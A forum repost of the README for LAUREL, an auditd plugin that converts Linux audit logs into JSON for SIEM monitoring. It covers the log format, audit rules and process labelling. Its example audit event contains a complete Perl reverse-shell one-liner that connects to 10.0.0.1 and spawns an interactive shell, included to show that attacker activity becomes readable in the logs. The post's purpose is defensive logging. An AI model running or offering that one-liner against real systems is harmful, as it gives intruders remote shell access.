# Laurel | Transform Linux Audit Logs For SIEM Usage **URL:** \ **Category:** Tools & Scripts\ **Tags:** tools, hacking, freebies, social-media\ **Created:** [July 26, 2022, 10:05pm UTC](https://onehack.st/t/laurel-transform-linux-audit-logs-for-siem-usage/221616 "2022-07-26T22:05:23Z")\ **Posts on this page:** 1\ **Page:** 1
**Author:** ![BlueHacker](https://onehack.st/user_avatar/onehack.st/bluehacker/32/174721_2.png) [@BlueHacker](https://onehack.st/u/BlueHacker)\ **Post date:** [July 26, 2022, 10:05pm UTC](https://onehack.st/t/laurel-transform-linux-audit-logs-for-siem-usage/221616/1 "2022-07-26T22:05:23Z")
![image](https://onehack.st/uploads/default/original/3X/2/1/2126f01823de52973dda93b4c7f7d05b9e97402e.png) # Linux Audit – Usable, Robust, Easy Logging [![Build Status](https://github.com/threathunters-io/laurel/actions/workflows/build.yml/badge.svg)](https://github.com/threathunters-io/laurel/actions/workflows/build.yml) LAUREL is an event post-processing plugin for _auditd(8)_ to improve its usability in modern security monitoring setups. ## Why? TLDR: Instead of audit events that look like this… ```auto type=EXECVE msg=audit(1626611363.720:348501): argc=3 a0="perl" a1="-e" a2=75736520536F636B65743B24693D2231302E302E302E31223B24703D313233343B736F636B65742… ``` …turn them into JSON logs where the mess that your pen testers/red teamers/attackers are trying to make becomes apparent at first glance: ```auto { … "EXECVE":{ "argc": 3,"ARGV": ["perl", "-e", "use Socket;$i=\"10.0.0.1\";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname(\"tcp\"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,\">&S\");open(STDOUT,\">&S\");open(STDERR,\">&S\");exec(\"/bin/sh -i\");};"]}, …} ``` This happens at the source. The generated event even contains useful information about the spawning process: ```auto "PARENT_INFO":{"ID":"1643635026.276:327308","comm":"sh","exe":"/usr/bin/dash","ppid":3190631} ``` ## Description Logs produced by the Linux Audit subsystem and _auditd(8)_ contain information that can be very useful in a SIEM context (if a useful rule set has been configured). However, the format is not well-suited for at-scale analysis: Events are usually split across different lines that have to be merged using a message identifier. Files and program executions are logged via `PATH` and `EXECVE` elements, but a limited character set for strings causes many of those entries to be hex-encoded. For a more detailed discussion, see [Practical _auditd(8)_ problems](https://github.com/threathunters-io/laurel/blob/master/practical-auditd-problems.md). _LAUREL_ solves these problems by consuming audit events, parsing and transforming them into more data and writing them out as a JSON-based log format, while keeping all information intact that was part of the original audit log. It does not replace _auditd(8)_ as the consumer of audit messages from the kernel. Instead, it uses the _audisp_ (“audit dispatch”) interface to receive messages via _auditd(8)_. Therefore, it can peacefully coexist with other consumers of audit events (e.g. some EDR products). Refer to [JSON-based log format](https://github.com/threathunters-io/laurel/blob/master/json-format.md) for a description of the log format. We developed this tool because we were not content with feature sets and performance characteristics of existing projects and products. Please refer to [Performance](https://github.com/threathunters-io/laurel/blob/master/performance.md) for details. ## A word about audit rules A good starting point for an audit ruleset is [https://github.com/Neo23x0/auditd](https://github.com/Neo23x0/auditd), but generally speaking, any ruleset will do. _LAUREL_ will currently only work as designed if _End Of Event_ record are not suppressed, so rules like > `-a always,exclude -F msgtype=EOE` should be removed. ## Events with context Every event that is caused by a syscall or filesystem rule is annotated with information about the parent of the process that caused the event. If available, `id` points to the message corresponding to the last `execve` syscall for this process: “PARENT\_INFO”: { “ID”: “1643635026.276:327308”, “comm”: “sh”, “exe”: “/usr/bin/dash”, “ppid”: 1532 } ## Adding more context: Keys and process labels Audit events can contain a key, a short string that can be used to filter events. _LAUREL_ can be configured to recognize such keys and add them as keys to the process that caused the event. These labels can also be propagated to child processes. This is useful to avoid expensive JOIN-like operations in log analysis to filter out harmless events. Consider the following rule that set keys for _apt_ and _dpkg_ invocations: ```auto -w /usr/bin/apt-get -p x -k software_mgmt ``` Let’s configure _LAUREL_ to turn the `software_mgmt` key into a process label that is propagated to child processes: ```auto [label-process] label-keys = ["software_mgmt"] propagate-labels = ["software_mgmt"] ``` Together with a ruleset that logs _execve(2)_ and variants, this will cause every event directly caused by `apt-get` and its subprocesses to be labelled `software_mgmt`. For example, running `sudo apt-get update` on a Debian/bullseye system with a few sources configured, the following subprocesses labelled `software_gmt` can be observed in _LAUREL’s_ audit log: - `apt-get update` - `/usr/bin/dpkg --print-foreign-architectures` - `/usr/lib/apt/methods/http` - `/usr/lib/apt/methods/https` - `/usr/lib/apt/methods/https` - `/usr/lib/apt/methods/http` - `/usr/lib/apt/methods/gpgv` - `/usr/lib/apt/methods/gpgv` - `/usr/bin/dpkg --print-foreign-architectures` - `/usr/bin/dpkg --print-foreign-architectures` This sort of tracking also works for package installation or removal. If some package’s post-installation script is behaving suspiciously, a SIEM analyst will be able to make the connection to the software installation process by inspecting the single event. ## Installation See [INSTALL.md](https://github.com/threathunters-io/laurel/blob/master/INSTALL.md). ## License GNU General Public License, version 3 ## Authors - Hilko Bengen \<[bengen@hilluzination.de](mailto:bengen@hilluzination.de)\> - Sergej Schmidt \<[sergej@msgpeek.net](mailto:sergej@msgpeek.net)\> The logo was created by Birgit Meyer \<[hello@biggi.io](mailto:hello@biggi.io)\>. ## GitHub: > **[GitHub - threathunters-io/laurel: Transform Linux Audit logs for SIEM usage](https://github.com/threathunters-io/laurel)** > > Transform Linux Audit logs for SIEM usage